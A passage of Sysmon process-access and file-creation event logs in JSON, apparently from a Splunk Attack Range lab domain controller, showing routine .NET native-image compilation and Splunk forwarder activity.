C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-001075C80F00}","TargetProcessId":"2964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.213\r\nSourceProcessGUID: {90617006-431A-5F2D-0000-001075C80F00}\r\nSourceProcessId: 2964\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.213","SourceProcessGUID":"{90617006-431A-5F2D-0000-001075C80F00}","SourceProcessId":"2964","SourceThreadId":"4700","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:39.338\r\nProcessGuid: {90617006-431A-5F2D-0000-001027C40F00}\r\nProcessId: 4736\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1280-0\\System.Web.DynamicData.dll\r\nCreationUtcTime: 2020-08-07 12:03:39.338","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:39.338","ProcessGuid":"{90617006-431A-5F2D-0000-001027C40F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1280-0\\System.Web.DynamicData.dll","CreationUtcTime":"2020-08-07 12:03:39.338","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.401\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010BFCA0F00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.401","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010BFCA0F00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.401\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010BFCA0F00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.401","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010BFCA0F00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010BFCA0F00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010BFCA0F00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.479\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00100BCF0F00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.479","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00100BCF0F00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.479\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00100BCF0F00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.479","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00100BCF0F00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8002,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00100BCF0F00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00100BCF0F00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8003,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:39.572\r\nProcessGuid: {90617006-431B-5F2D-0000-00100BCF0F00}\r\nProcessId: 4768\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12a0-0\\System.Web.DynamicData.Design.dll\r\nCreationUtcTime: 2020-08-07 12:03:39.572","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:39.572","ProcessGuid":"{90617006-431B-5F2D-0000-00100BCF0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12a0-0\\System.Web.DynamicData.Design.dll","CreationUtcTime":"2020-08-07 12:03:39.572","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8004,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: 